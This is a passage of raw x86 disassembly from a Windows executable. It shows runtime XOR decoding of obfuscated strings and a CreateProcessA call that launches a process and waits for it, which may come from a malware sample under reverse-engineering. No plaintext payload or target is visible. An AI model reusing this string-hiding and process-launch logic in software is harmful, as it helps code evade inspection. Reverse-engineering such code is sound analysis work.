mov eax, ecx
cmp edx, 0x1000
jb 0x40777d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c9b
push edx
push ecx
call fcn.0042142c
add esp, 8
mov edx, dword [ebp - 0x94]
cmp edx, 0x10
jb 0x4077c1
mov ecx, dword [ebp - 0xa8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4077b7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c9b
push edx
push ecx
call fcn.0042142c
add esp, 8
mov edx, dword [ebp - 0x1b4]
cmp edx, 0x10
jb 0x4077fb
mov ecx, dword [ebp - 0x1c8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4077f1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c9b
push edx
push ecx
call fcn.0042142c
add esp, 8
mov edx, dword [ebp - 0xe0]
cmp edx, 0x10
jb 0x407835
mov ecx, dword [ebp - 0xf4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40782b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c9b
push edx
push ecx
call fcn.0042142c
add esp, 8
mov edx, dword [ebp - 0x174]
cmp edx, 0x10
jb 0x40786f
mov ecx, dword [ebp - 0x188]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407865
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c9b
push edx
push ecx
call fcn.0042142c
add esp, 8
mov edx, dword [ebp - 0x15c]
cmp edx, 0x10
jb 0x4078a9
mov ecx, dword [ebp - 0x170]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40789f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c9b
push edx
push ecx
call fcn.0042142c
add esp, 8
mov edx, dword [ebp - 0xac]
cmp edx, 0x10
jb 0x4078e3
mov ecx, dword [ebp - 0xc0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4078d9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c9b
push edx
push ecx
call fcn.0042142c
add esp, 8
mov edx, dword [ebp - 0x7c]
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xac], 0xf
mov byte [ebp - 0xc0], 0
cmp edx, 0x10
jb 0x407935
mov ecx, dword [ebp - 0x90]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40792b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c9b
push edx
push ecx
call fcn.0042142c
add esp, 8
cmp dword [ebp - 0x19c], 0x10
lea eax, [ebp - 0x150]
push 0x44
push 0
lea esi, [ebp - 0x1b0]
cmovae esi, dword [ebp - 0x1b0]
push eax
call fcn.00422d70
add esp, 0xc
or dword [ebp - 0x124], 1
xor eax, eax
mov dword [ebp - 0x150], 0x44
mov word [ebp - 0x120], ax
xorps xmm0, xmm0
lea eax, [ebp - 0x50]
movaps xmmword [ebp - 0x50], xmm0
push eax
lea eax, [ebp - 0x150]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4079bc
push 0xffffffffffffffff
push dword [ebp - 0x50]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x50]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x4c]
call esi
cmp byte [0x440807], 0
mov edx, dword [0x440800]
mov esi, dword [0x440804]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], esi
je 0x407b23
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp edi, 2
jl 0x407af0
movaps xmm2, xmmword [0x440580]
mov eax, 5
movaps xmm4, xmmword [0x440960]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
psrad xmm1, xmm5
mov eax, 0x1f
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.3333333333333333M]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x440950]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4406f0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4405f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, edx
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x20], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x440950]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4405f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, esi
pxor xmm1, xmm0
movd dword [ebp - 0x1c], xmm1
jmp 0x407b23
mov eax, 0x24924925
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
mov cl, al
shl cl, 3
sub cl, al
mov al, byte [ebp - 4]
shl cl, 3
sub al, cl
mov ecx, dword [ebp - 4]
add al, 0x33
xor byte [ebp + ecx - 0x20], al
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, 8
jl 0x407af0
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x80], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x7c], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407b41
sub ecx, edx
lea eax, [ebp - 0x20]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.00401820
movups xmm0, xmmword [0x4407b8]
mov eax, dword [0x4407f8]
xor ecx, ecx
mov dword [ebp - 0x110], eax
mov ax, word [0x4407fc]
mov word [ebp - 0x10c], ax
mov dword [ebp - 4], ecx
lea esi, [ecx + 5]
movups xmmword [ebp - 0x150], xmm0
movups xmm0, xmmword [0x4407c8]
movups xmmword [ebp - 0x140], xmm0
movups xmm0, xmmword [0x4407d8]
movups xmmword [ebp - 0x130], xmm0
movups xmm0, xmmword [0x4407e8]
movups xmmword [ebp - 0x120], xmm0
cmp edi, 2
jl 0x407d03
movaps xmm0, xmmword [str.3333333333333333M]
mov eax, 0x1f
movaps xmm4, xmmword [0x440580]
movaps xmm3, xmmword [0x440960]
movaps xmm6, xmmword [0x440950]
movaps xmmword [ebp - 0x50], xmm0
mov edx, dword [ebp - 0x50]
movd xmm5, esi
movd xmm7, eax
nop dword [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4405f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x150]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0x150], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4405f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x14c]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0x14c], xmm1
add ecx, 8
cmp ecx, 0x40
jl 0x407bf0
mov dword [ebp - 4], ecx
cmp ecx, 0x46
jge 0x407d3a
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov cl, al
shl cl, 3
sub cl, al
mov al, byte [ebp - 4]
shl cl, 3
sub al, cl
mov ecx, dword [ebp - 4]
add al, 0x33
xor byte [ebp + ecx - 0x150], al
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, 0x46
jl 0x407d03
lea ecx, [ebp - 0x150]
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xb0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xac], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407d61
sub ecx, edx
lea eax, [ebp - 0x150]
push ecx
push eax
lea ecx, [ebp - 0xc0]
call fcn.00401820
lea eax, [ebp - 0xdc]
mov dword [ebp - 8], SysStringLen
push eax
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0xc0]
push eax
lea eax, [ebp - 8]
push eax
call fcn.0040a020
mov edx, dword [ebp - 0xac]
add esp, 0x10
cmp edx, 0x10
jb 0x407ddf
mov ecx, dword [ebp - 0xc0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407dd5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408ca0
push edx
push ecx
call fcn.0042142c
add esp, 8
mov edx, dword [ebp - 0x7c]
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xac], 0xf
mov byte [ebp - 0xc0], 0
cmp edx, 0x10
jb 0x407e31
mov ecx, dword [ebp - 0x90]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407e27
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408ca0
push edx
push ecx
call fcn.0042142c
add esp, 8
cmp byte [0x440857], 0
movq xmm0, qword [0x44084c]
mov eax, dword [0x440854]
movq qword [ebp - 0x24], xmm0
mov dword [ebp - 0x1c], eax
je 0x407fa4
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp edi, 2
jl 0x407f70
movaps xmm2, xmmword [0x440580]
mov eax, 0x1f
movaps xmm4, xmmword [0x440960]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov ecx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, esi
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.3333333333333333M]
movaps xmm0, xmm1
psrld xmm0, xmm6
mov dword [ebp - 4], ecx
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x440950]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4406f0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4405f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x44084c]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x24], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x440950]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4405f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x20]
pxor xmm1, xmm0
movd dword [ebp - 0x20], xmm1
nop dword [eax]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov cl, al
shl cl, 3
sub cl, al
mov al, byte [ebp - 4]
shl cl, 3
sub al, cl
mov ecx, dword [ebp - 4]
add al, 0x33
xor byte [ebp + ecx - 0x24], al
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, 0xc
jl 0x407f70
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x80], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x7c], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407fc2
sub ecx, edx
lea eax, [ebp - 0x24]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.00401820
mov ax, word [0x440848]
mov word [ebp - 6], ax
test ah, ah
je 0x408023
xor ecx, ecx
mov dword [ebp - 4], ecx
nop
mov eax, 0x24924925
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
mov cl, al
shl cl, 3
sub cl, al
mov al, byte [ebp - 4]
shl cl, 3
sub al, cl
mov ecx, dword [ebp - 4]
add al, 0x33
xor byte [ebp + ecx - 6], al
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, 2
jl 0x407ff0
lea ecx, [ebp - 6]
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x58], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x54], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408040
sub ecx, edx
lea eax, [ebp - 6]
push ecx
push eax
lea ecx, [ebp - 0x68]
call fcn.00401820
cmp dword [ebp - 0xc8], 0x10
lea eax, [ebp - 0xdc]
push dword [ebp - 0xcc]
cmovae eax, dword [ebp - 0xdc]
lea ecx, [ebp - 0x68]
push eax
push 0
call fcn.00409d70
lea ecx, [ebp - 0x188]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x170], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x170]
movq qword [ebp - 0x160], xmm0
push eax
push dword [ebp - 0x1c]
call fcn.00406420
cmp byte [0x440847], 0
movq xmm0, qword [0x44083c]
mov eax, dword [0x440844]
movq qword [ebp - 0x24], xmm0
mov dword [ebp - 0x1c], eax
je 0x408234
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp edi, 2
jl 0x408200
movaps xmm2, xmmword [0x440580]
mov eax, 0x1f
movaps xmm4, xmmword [0x440960]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov ecx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, esi
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.3333333333333333M]
movaps xmm0, xmm1
psrld xmm0, xmm6
mov dword [ebp - 4], ecx
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x440950]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4406f0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4405f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x44083c]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x24], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x440950]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4405f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x20]
pxor xmm1, xmm0
movd dword [ebp - 0x20], xmm1
nop dword [eax + eax]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov cl, al
shl cl, 3
sub cl, al
mov al, byte [ebp - 4]
shl cl, 3
sub al, cl
mov ecx, dword [ebp - 4]
add al, 0x33
xor byte [ebp + ecx - 0x24], al
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, 0xc
jl 0x408200
lea ecx, [ebp - 0x24]
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0x98], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x94], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408258
sub ecx, edx
lea eax, [ebp - 0x24]
push ecx
push eax
lea ecx, [ebp - 0xa8]
call fcn.00401820
movups xmm0, xmmword [0x440808]
mov ax, word [0x440838]
xor ecx, ecx
mov word [ebp - 0x110], ax
mov dword [ebp - 4], ecx
movups xmmword [ebp - 0x140], xmm0
movups xmm0, xmmword [0x440818]
movups xmmword [ebp - 0x130], xmm0
movups xmm0, xmmword [0x440828]
movups xmmword [ebp - 0x120], xmm0
cmp edi, 2
jl 0x408403
movaps xmm0, xmmword [str.3333333333333333M]
mov eax, 0x1f
movaps xmm4, xmmword [0x440580]
movaps xmm3, xmmword [0x440960]
movaps xmm6, xmmword [0x440950]
movaps xmmword [ebp - 0x50], xmm0
mov edx, dword [ebp - 0x50]
movd xmm5, esi
movd xmm7, eax
nop word [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4405f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x140]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0x140], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4405f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x13c]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0x13c], xmm1
add ecx, 8
cmp ecx, 0x30
jl 0x4082f0
mov dword [ebp - 4], ecx
cmp ecx, 0x32
jge 0x40843a
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov cl, al
shl cl, 3
sub cl, al
mov al, byte [ebp - 4]
shl cl, 3
sub al, cl
mov ecx, dword [ebp - 4]
add al, 0x33
xor byte [ebp + ecx - 0x140], al
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, 0x32
jl 0x408403
lea ecx, [ebp - 0x140]
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xb0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xac], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408461
sub ecx, edx
lea eax, [ebp - 0x140]
push ecx
push eax
lea ecx, [ebp - 0xc0]
call fcn.00401820
lea eax, [ebp - 0x188]
mov dword [ebp - 0xc4], SysStringLen
push eax
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0xc0]
push eax
lea eax, [ebp - 0xc4]
push eax
call fcn.0040a020
mov edx, dword [ebp - 0xac]
add esp, 0x10
cmp edx, 0x10
jb 0x4084e5
mov ecx, dword [ebp - 0xc0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4084db
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408ca5
push edx
push ecx
call fcn.0042142c
add esp, 8
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xac], 0xf
mov byte [ebp - 0xc0], 0
cmp edx, 0x10
jb 0x40853a
mov ecx, dword [ebp - 0xa8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408530
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408ca5
push edx
push ecx
call fcn.0042142c
add esp, 8
lea ecx, [ebp - 0x188]
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x94], 0xf
mov byte [ebp - 0xa8], 0
call fcn.00401290
mov edx, dword [ebp - 0x15c]
cmp edx, 0x10
jb 0x40859a
mov ecx, dword [ebp - 0x170]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408590
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408ca5
push edx
push ecx
call fcn.0042142c
add esp, 8
mov edx, dword [ebp - 0x54]
cmp edx, 0x10
jb 0x4085ce
mov ecx, dword [ebp - 0x68]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4085c4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408ca5
push edx
push ecx
call fcn.0042142c
add esp, 8
mov edx, dword [ebp - 0x7c]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
cmp edx, 0x10
jb 0x408617
mov ecx, dword [ebp - 0x90]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40860d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408ca5
push edx
push ecx
call fcn.0042142c
add esp, 8
lea ecx, [ebp - 0x2d0]
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0x98], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x94], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408640
sub ecx, edx
lea eax, [ebp - 0x2d0]
push ecx
push eax
lea ecx, [ebp - 0xa8]
call fcn.00401820
cmp byte [0x440867], 0
movq xmm0, qword [0x44085c]
mov eax, dword [0x440864]
movq qword [ebp - 0x24], xmm0
mov dword [ebp - 0x1c], eax
je 0x4087d4
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp edi, 2
jl 0x4087a0
movaps xmm2, xmmword [0x440580]
mov eax, 0x1f
movaps xmm4, xmmword [0x440960]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov ecx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, esi
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.3333333333333333M]
movaps xmm0, xmm1
psrld xmm0, xmm6
mov dword [ebp - 4], ecx
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x440950]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4406f0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4405f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x44085c]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x24], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x440950]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4405f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x20]
pxor xmm1, xmm0
movd dword [ebp - 0x20], xmm1
nop dword [eax + eax]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov cl, al
shl cl, 3
sub cl, al
mov al, byte [ebp - 4]
shl cl, 3
sub al, cl
mov ecx, dword [ebp - 4]
add al, 0x33
xor byte [ebp + ecx - 0x24], al
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, 0xc
jl 0x4087a0
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x80], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x7c], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4087f2
sub ecx, edx
lea eax, [ebp - 0x24]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.00401820
mov ax, word [0x440858]
mov word [ebp - 6], ax
test ah, ah
je 0x408853
xor ecx, ecx
mov dword [ebp - 4], ecx
nop
mov eax, 0x24924925
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
mov cl, al
shl cl, 3
sub cl, al
mov al, byte [ebp - 4]
shl cl, 3
sub al, cl
mov ecx, dword [ebp - 4]
add al, 0x33
xor byte [ebp + ecx - 6], al
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, 2
jl 0x408820
lea ecx, [ebp - 6]
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x58], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x54], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408870
sub ecx, edx
lea eax, [ebp - 6]
push ecx
push eax
lea ecx, [ebp - 0x68]
call fcn.00401820
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0xdc]
push eax
lea eax, [ebp - 0x188]
push eax
call fcn.004063c0
add esp, 0xc
lea ecx, [ebp - 0x90]
push ecx
push eax
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xf4]
call fcn.00406420
cmp dword [ebp - 0xe0], 0x10
lea eax, [ebp - 0xf4]
mov edi, dword [ebp - 0xe4]
lea esi, [ebp - 0xa8]
cmovae eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x94], 0x10
mov ecx, dword [ebp - 0x98]
cmovae esi, dword [ebp - 0xa8]
mov dword [ebp - 0xc4], eax
mov dword [ebp - 4], esi
cmp edi, ecx
ja 0x40895b
test edi, edi
jne 0x408903
xor esi, esi
jmp 0x40895e
movsx edx, byte [eax]
sub ecx, edi
mov dword [ebp - 8], ecx
inc ecx
add ecx, esi
mov dword [ebp - 0x1c], edx
sub ecx, esi
push ecx
push edx
push esi
call fcn.00422360
mov esi, eax
add esp, 0xc
test esi, esi
je 0x40895b
push edi
push dword [ebp - 0xc4]
push esi
call fcn.00409d00
add esp, 0xc
test eax, eax
je 0x408a25
mov edx, dword [ebp - 8]
inc esi
mov eax, dword [ebp - 4]
inc edx
add eax, edx
sub eax, esi
push eax
push dword [ebp - 0x1c]
push esi
call fcn.00422360
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x408924
or esi, 0xffffffff
lea ecx, [ebp - 0xf4]
call fcn.00401290
lea ecx, [ebp - 0x188]
call fcn.00401290
mov edx, dword [ebp - 0x54]
cmp edx, 0x10
jb 0x4089a8
mov ecx, dword [ebp - 0x68]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40899e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
